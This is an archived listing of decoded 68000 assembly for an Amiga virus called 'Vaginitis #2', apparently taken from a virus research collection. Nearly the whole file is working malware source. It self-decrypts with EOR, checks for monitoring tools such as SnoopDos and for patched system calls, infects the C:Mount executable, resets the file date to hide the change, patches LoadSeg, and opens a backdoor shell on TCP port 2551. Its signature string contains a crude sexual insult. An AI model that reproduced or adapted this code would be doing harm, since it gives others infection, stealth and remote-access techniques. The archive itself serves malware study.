home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / VAGINITIS / VAGINITI.LHA / vaginitis_2_decoded.asm < prev    next >
Assembly Source File  |  1999-02-05  |  5KB  |  273 lines

  1.  
  2. _LVOAllocVec    EQU    -$2AC
  3. _LVOUnLockDosList    EQU    -$294
  4. _LVOOldOpenLibrary    EQU    -$198
  5. _LVOOpen    EQU    -$1E
  6. _LVORead    EQU    -$2A
  7. _LVOCloseLibrary    EQU    -$19E
  8. _LVOExamine    EQU    -$66
  9. _LVOCacheClearU    EQU    -$27C
  10. _LVODeleteIORequest    EQU    -$294
  11. _LVOUnLock    EQU    -$5A
  12. _LVOSetFileDate    EQU    -$18C
  13. _LVOLoadSeg    EQU    -$96
  14. _LVOInitResident    EQU    -$66
  15. _LVOFreeVec    EQU    -$2B2
  16. _LVOWrite    EQU    -$30
  17. _LVOFindDosEntry    EQU    -$2AC
  18. _LVOExecute    EQU    -$DE
  19. _LVOLockDosList    EQU    -$28E
  20. _LVOClose    EQU    -$24
  21. _LVOFindTask    EQU    -$126
  22. _LVOLock    EQU    -$54
  23. _LVOCopyMem    EQU    -$270
  24. _LVOMakeLibrary    EQU    -$54
  25. ****************************************************************************
  26.     MOVEM.L    D0-D7/A0-A6,-(SP)
  27.     MOVEA.L    (4).W,A6
  28.     BSR.W    _cryptEOR
  29. lbC00000C    BSR.W    _checkSnoopDos
  30.     BEQ.W    _abortBackdoor
  31.     BSR.B    _installBackdoor
  32.     dw    $646F    ;resource doesn't like the following branches
  33.     dw    $732E
  34.     dw    $6C69
  35.     dw    $6272
  36.     dw    $6172
  37.     dw    $7900
  38.  
  39. _installBackdoor    MOVEA.L    (SP)+,A1
  40.     JSR    (_LVOOldOpenLibrary,A6)
  41.     BEQ.W    _abortBackdoor
  42.     MOVEA.L    D0,A5
  43.     LEA    (lbL0002C0,PC),A1
  44.     MOVE.L    D0,(A1)
  45.     BSR.W    lbC000294
  46.     BEQ.W    lbC0001F4
  47.     MOVEQ    #0,D1
  48.     MOVEQ    #$10,D0
  49.     LSL.L    #7,D0
  50.     JSR    (_LVOAllocVec,A6)
  51.     MOVEA.L    D0,A3
  52.     BEQ.W    lbC0001F4
  53.     MOVEA.L    A3,A1
  54.     LEA    (*-$FFFF006A,PC),A0
  55.     MOVEQ    #$10,D0
  56.     LSL.L    #7,D0
  57.     JSR    (_LVOCopyMem,A6)
  58.     BRA.B    *-$62    ;call the copy of the code
  59.  
  60. SnoopDosSuppo.MSG    db    'SnoopDos Support Process',0
  61. CMount.MSG    db    'C:Mount',0
  62.     db    'run >NIL: newshell '
  63. TC.MSG    db    'TC'
  64. P.MSG    db    'P',0
  65.     db    '2551',0,0
  66.     db    'STD presents - Vaginitis #2 -- filthy whore!'
  67.  
  68.     LEA    (lbB0002BE,PC),A1
  69.     TST.B    (A1)
  70.     BNE.W    _patchLoadSeg
  71.     LEA    (CMount.MSG,PC),A4
  72.     MOVE.L    A4,D1
  73.     MOVEQ    #-2,D2
  74.     JSR    (_LVOLock,A5)
  75.     MOVE.L    D0,D1
  76.     BEQ.W    lbC0001F4
  77.     MOVE.L    D0,D4
  78.     LEA    (lbL0002C8,PC),A3
  79.     MOVE.L    A3,D2
  80.     JSR    (_LVOExamine,A5)
  81.     MOVE.L    D4,D1
  82.     JSR    (_LVOUnLock,A5)
  83.     MOVE.L    ($7C,A3),D0
  84.     MOVE.L    D0,D3
  85.     MOVE.L    D0,-(SP)
  86.     MOVE.L    D3,D0
  87.     MOVEQ    #1,D1
  88.     SWAP    D1
  89.     JSR    (_LVOAllocVec,A6)
  90.     MOVEA.L    D0,A3
  91.     BEQ.W    lbC000206
  92.     MOVE.L    #$3ED,D2
  93. lbC000112    MOVE.L    A4,D1
  94.     JSR    (_LVOOpen,A5)
  95.     MOVE.L    D0,D5
  96.     MOVE.L    D5,D1
  97. lbC00011C    BEQ.W    lbC000200
  98.     MOVE.L    A3,D2
  99.     JSR    (_LVORead,A5)
  100.     MOVE.L    D5,D1
  101. lbC000128    JSR    (_LVOClose,A5)
  102.     MOVEA.L    A3,A2
  103.     MOVE.L    (8,A2),D0
  104.     LSL.L    #2,D0
  105.     MOVE.L    D0,D6
  106. lbC000136    ADDI.L    #$C8,($14,A2)
  107.     ADDA.L    #$18,A2
  108.     ADDA.L    D0,A2
  109.     MOVE.L    (A2),D4
  110.     LSL.L    #2,D4
  111.     ADDI.L    #$C8,(A2)+
  112.     ADDA.L    D4,A2
  113.     MOVE.W    (-2,A2),D0
  114.     MOVE.W    #$4E75,D1
  115.     MOVE.W    #$4E71,D2
  116.     CMP.W    D0,D1
  117.     BEQ.B    lbC000170
  118.     MOVE.W    (-4,A2),D0
  119.     CMP.W    D0,D1
  120.     BNE.W    lbC000200
  121.     MOVE.W    D2,(-4,A2)
  122. lbC000170    MOVE.W    D2,(-2,A2)
  123.     MOVE.L    A4,D1
  124.     MOVE.L    #$3EE,D2
  125.     JSR    (_LVOOpen,A5)
  126.     MOVE.L    D0,D5
  127.     MOVE.L    D5,D1
  128.     MOVE.L    A3,D2
  129.     ADDI.L    #$1C,D4
  130.     ADD.L    D6,D4
  131.     MOVE.L    D4,D3
  132.     JSR    (_LVOWrite,A5)
  133.     LEA    (lbB0002BE,PC),A1
  134.     MOVE.B    #1,(A1)
  135.     MOVE.L    D5,D1
  136.     LEA    (*-$FFFF01BA,PC),A1
  137.     MOVE.L    A1,D2
  138.     MOVE.L    #$320,D3
  139.     BSR.W    *-$FFFF01C0
  140.     MOVE.L    D5,D1
  141.     MOVE.L    (SP)+,D3
  142.     SUB.L    D4,D3
  143.     MOVE.L    A3,D2
  144.     ADD.L    D4,D2
  145.     JSR    (_LVOWrite,A5)
  146.     MOVE.L    D5,D1
  147.     JSR    (_LVOClose,A5)
  148.     MOVE.L    A4,D1
  149.     LEA    (*+$188,PC),A1    ;filedate in FIB
  150.     MOVE.L    A1,D2
  151.     JSR    (_LVOSetFileDate,A5)
  152.     MOVEA.L    A3,A1
  153.     JSR    (_LVOFreeVec,A6)
  154.     BRA.B    lbC0001F4
  155.  
  156. _patchLoadSeg    MOVEA.L    (_LVOLoadSeg+2,A5),A1
  157.     CMPI.W    #$60F0,(-2,A1)
  158.     BEQ.B    lbC0001F4
  159.     LEA    (_LVOLoadSeg+2,A5),A1
  160.     LEA    (lbC000270,PC),A0
  161.     MOVE.L    (A1),(2,A0)
  162.     LEA    (_loadSegPatch,PC),A0
  163.     MOVE.L    A0,(A1)
  164. lbC0001F4    EXG    A5,A1
  165.     JSR    (_LVOCloseLibrary,A6)
  166. _abortBackdoor    MOVEM.L    (SP)+,D0-D7/A0-A6
  167.     RTS
  168.  
  169. lbC000200    MOVEA.L    A3,A1
  170.     JSR    (_LVOFreeVec,A6)
  171. lbC000206    MOVE.L    (SP)+,D3
  172.     BRA.B    lbC0001F4
  173.  
  174. _loadSegPatch    MOVEM.L    D0-D7/A0-A6,-(SP)
  175.     LEA    (lbB0002BF,PC),A3
  176.     TST.B    (A3)
  177.     BNE.B    lbC00026C
  178.     BSR.B    _checkSnoopDos
  179.     BEQ.B    lbC00026C
  180.     LEA    (lbL0002C0,PC),A1
  181.     MOVEA.L    (A1),A5
  182.     BSR.B    lbC000294
  183.     BEQ.B    lbC00026C
  184.     MOVEQ    #5,D5
  185.     MOVE.L    D5,D1
  186.     JSR    (_LVOLockDosList,A5)
  187.     BRA.B    lbC000232
  188.  
  189.     BCS.B    START+$02A8
  190.     MOVEQ    #$6C,D0
  191. lbC000232    MOVE.L    D0,D1
  192.     BEQ.B    lbC00026C
  193.     LEA    (TC.MSG,PC),A4
  194.     MOVE.L    A4,D2
  195.     MOVEQ    #4,D3
  196.     JSR    (_LVOFindDosEntry,A5)
  197.     MOVE.L    D0,D4
  198.     MOVE.L    D5,D1
  199.     JSR    (_LVOUnLockDosList,A5)
  200.     TST.W    D4
  201.     BEQ.B    lbC00026C
  202.     MOVE.B    #$3A,(3,A4)
  203.     SUBA.L    #$13,A4
  204.     MOVE.L    A4,D1
  205.     MOVEQ    #0,D2
  206.     MOVEQ    #0,D3
  207.     JSR    (_LVOExecute,A5)    ;newshell TCP:2551
  208.     TST.W    D0
  209.     BEQ.B    lbC00026C
  210.     MOVE.B    #1,(A3)
  211. lbC00026C    MOVEM.L    (SP)+,D0-D7/A0-A6
  212. lbC000270    JMP    (0).L    ;call old LoadSeg()
  213.  
  214. _checkSnoopDos    MOVEA.L    (4).W,A6
  215.     MOVEA.L    (_LVOFindTask+2,A6),A0
  216.     CMPI.W    #$BFFA,(A0)    ;verify that FindPatch ain't patched
  217.     BEQ.B    lbC000292
  218.     LEA    (SnoopDosSuppo.MSG,PC),A1
  219.     JSR    (_LVOFindTask,A6)
  220.     TST.L    D0
  221.     EORI.B    #4,CCR
  222. lbC000292    RTS
  223.  
  224. lbC000294    MOVEA.L    (_LVOExamine+2,A5),A0    ;verify that Examine() ain't patched
  225.     CMPI.W    #$52B9,(A0)
  226.     RTS
  227.  
  228. lbW00029E    dw    $F33D
  229.  
  230. _cryptEOR    MOVEM.L    D0-D7/A0-A6,-(SP)
  231.     LEA    (lbC00000C,PC),A0
  232.     LEA    (lbW00029E,PC),A1
  233.     MOVE.W    (A1),D0
  234. lbC0002AE    EOR.W    D0,(A0)+
  235.     CMPA.L    A0,A1
  236.     BNE.B    lbC0002AE
  237.     JSR    (_LVOCacheClearU,A6)
  238.     MOVEM.L    (SP)+,D0-D7/A0-A6
  239.     RTS
  240.  
  241. lbB0002BE    db    0
  242. lbB0002BF    db    0
  243. lbL0002C0    dl    0
  244.     dl    0
  245. lbL0002C8    dl    0
  246.     dl    0
  247.     dl    0
  248.     dl    0
  249.     dl    0
  250.     dl    0
  251.     dl    0
  252.     dl    0
  253.     dl    0
  254.     dl    0
  255.     dl    0
  256.     dl    0
  257.     dl    0
  258.     dl    0
  259.     dl    0
  260.     dl    0
  261.     dl    0
  262.     dl    0
  263.     dl    0
  264.     dl    0
  265.     dl    0
  266.     dl    0
  267.     dl    0
  268.     dl    0
  269.     dl    0
  270.     dl    0
  271.  
  272.     end
  273.